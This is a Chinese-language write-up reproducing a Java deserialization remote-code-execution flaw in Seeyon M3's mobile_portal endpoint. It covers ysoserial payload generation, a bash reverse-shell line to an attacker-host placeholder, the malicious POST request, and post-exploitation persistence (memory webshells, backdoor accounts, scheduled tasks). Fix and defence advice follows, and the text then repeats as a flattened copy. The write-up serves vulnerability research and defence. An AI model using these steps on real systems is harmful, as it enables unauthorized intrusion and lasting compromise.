漏洞复现--致远 M3 反序列化 mobile_portal RCE
字数 1516 2025-08-10 08:28:09

致远 M3 反序列化 mobile_portal RCE 漏洞复现与分析

漏洞概述

致远 M3 系统存在一个反序列化漏洞,攻击者可以通过构造特定的序列化数据,在未授权的情况下远程执行任意代码。该漏洞位于 mobile_portal 接口中,由于对用户输入的反序列化操作未进行充分的安全检查,导致攻击者能够利用 Java 反序列化机制执行恶意代码。

影响版本

  • 致远 M3 多个版本(具体版本需根据漏洞披露时间确定)

漏洞原理

该漏洞属于 Java 反序列化漏洞,攻击者通过向 mobile_portal 接口发送精心构造的序列化数据,利用系统中存在的可利用的 gadget chain(利用链),最终导致远程代码执行。

环境准备

测试环境搭建

  1. 下载并安装受影响的致远 M3 版本
  2. 确保测试环境与互联网隔离
  3. 准备攻击机(Kali Linux 或其他渗透测试系统)

工具准备

  1. Java 开发环境(用于生成 payload)
  2. Burp Suite 或 Postman(用于发送请求)
  3. Ysoserial 或其他 Java 反序列化利用工具
  4. NC(netcat)用于反弹 shell 监听

漏洞复现步骤

1. 识别目标系统

通过以下方式识别致远 M3 系统:

  • 访问 http://target_ip:port/ 查看系统特征
  • 检查 /seeyon/ 路径是否存在
  • 检查登录页面特征

2. 定位漏洞接口

漏洞存在于 mobile_portal 接口,可通过以下路径访问:

http://target_ip:port/seeyon/mobile_portal

3. 生成恶意序列化数据

使用 ysoserial 工具生成 payload(以 CommonsCollections 为例):

java -jar ysoserial.jar CommonsCollections5 "command" > payload.ser

其中 "command" 替换为要执行的系统命令,如反弹 shell 命令:

bash -i >& /dev/tcp/attacker_ip/port 0>&1

4. 编码 payload

将生成的 payload.ser 文件进行 Base64 编码:

base64 -w 0 payload.ser > payload.b64

5. 构造 HTTP 请求

使用 Burp Suite 或 curl 发送恶意请求:

POST /seeyon/mobile_portal HTTP/1.1
Host: target_ip:port
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

data=[base64_encoded_payload]

6. 执行结果验证

  • 检查服务器响应
  • 验证命令是否执行成功(如检查反弹 shell 是否建立)

漏洞利用进阶

1. 多种 gadget chain 尝试

如果 CommonsCollections 不可用,可尝试其他 gadget chain:

  • CommonsBeanutils
  • Groovy
  • Jdk7u21
  • 等等

2. 内存马注入

通过反序列化漏洞注入内存马(如冰蝎、哥斯拉等 webshell)

3. 权限维持

  • 创建后门账户
  • 添加计划任务
  • 写入启动项

修复建议

  1. 升级到官方最新版本
  2. 临时修复措施:
    • 禁用 mobile_portal 接口
    • 实施输入过滤,禁止反序列化用户可控数据
    • 使用白名单机制限制可反序列化的类
  3. 使用 Java 安全管理器限制权限
  4. 更新 Commons Collections 等第三方库到最新版本

漏洞分析

漏洞代码定位

漏洞主要存在于处理 mobile_portal 请求的代码中,关键问题在于:

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object obj = ois.readObject();

没有对反序列化的类进行任何限制,导致任意类可以被实例化。

利用链分析

典型的利用链可能包含:

  1. 触发点:反序列化入口
  2. 中间 gadget:如 Transformer 链
  3. 执行点:Runtime.exec() 或类似方法

防御措施

  1. 实施代码审计,检查所有反序列化操作
  2. 使用安全的替代方案(如 JSON、XML)代替 Java 序列化
  3. 实施网络层防护:
    • WAF 规则更新
    • 入侵检测系统签名更新
  4. 最小权限原则运行服务

法律与道德声明

此文档仅用于安全研究与教育目的。未经授权的系统测试是非法的。在进行任何安全测试前,请确保已获得系统所有者的明确授权。

致远 M3 反序列化 mobile_ portal RCE 漏洞复现与分析 漏洞概述 致远 M3 系统存在一个反序列化漏洞,攻击者可以通过构造特定的序列化数据,在未授权的情况下远程执行任意代码。该漏洞位于 mobile_ portal 接口中,由于对用户输入的反序列化操作未进行充分的安全检查,导致攻击者能够利用 Java 反序列化机制执行恶意代码。 影响版本 致远 M3 多个版本(具体版本需根据漏洞披露时间确定) 漏洞原理 该漏洞属于 Java 反序列化漏洞,攻击者通过向 mobile_ portal 接口发送精心构造的序列化数据,利用系统中存在的可利用的 gadget chain(利用链),最终导致远程代码执行。 环境准备 测试环境搭建 下载并安装受影响的致远 M3 版本 确保测试环境与互联网隔离 准备攻击机(Kali Linux 或其他渗透测试系统) 工具准备 Java 开发环境(用于生成 payload) Burp Suite 或 Postman(用于发送请求) Ysoserial 或其他 Java 反序列化利用工具 NC(netcat)用于反弹 shell 监听 漏洞复现步骤 1. 识别目标系统 通过以下方式识别致远 M3 系统: 访问 http://target_ip:port/ 查看系统特征 检查 /seeyon/ 路径是否存在 检查登录页面特征 2. 定位漏洞接口 漏洞存在于 mobile_ portal 接口,可通过以下路径访问: 3. 生成恶意序列化数据 使用 ysoserial 工具生成 payload(以 CommonsCollections 为例): 其中 "command" 替换为要执行的系统命令,如反弹 shell 命令: 4. 编码 payload 将生成的 payload.ser 文件进行 Base64 编码: 5. 构造 HTTP 请求 使用 Burp Suite 或 curl 发送恶意请求: 6. 执行结果验证 检查服务器响应 验证命令是否执行成功(如检查反弹 shell 是否建立) 漏洞利用进阶 1. 多种 gadget chain 尝试 如果 CommonsCollections 不可用,可尝试其他 gadget chain: CommonsBeanutils Groovy Jdk7u21 等等 2. 内存马注入 通过反序列化漏洞注入内存马(如冰蝎、哥斯拉等 webshell) 3. 权限维持 创建后门账户 添加计划任务 写入启动项 修复建议 升级到官方最新版本 临时修复措施: 禁用 mobile_ portal 接口 实施输入过滤,禁止反序列化用户可控数据 使用白名单机制限制可反序列化的类 使用 Java 安全管理器限制权限 更新 Commons Collections 等第三方库到最新版本 漏洞分析 漏洞代码定位 漏洞主要存在于处理 mobile_ portal 请求的代码中,关键问题在于: 没有对反序列化的类进行任何限制,导致任意类可以被实例化。 利用链分析 典型的利用链可能包含: 触发点:反序列化入口 中间 gadget:如 Transformer 链 执行点:Runtime.exec() 或类似方法 防御措施 实施代码审计,检查所有反序列化操作 使用安全的替代方案(如 JSON、XML)代替 Java 序列化 实施网络层防护: WAF 规则更新 入侵检测系统签名更新 最小权限原则运行服务 法律与道德声明 此文档仅用于安全研究与教育目的。未经授权的系统测试是非法的。在进行任何安全测试前,请确保已获得系统所有者的明确授权。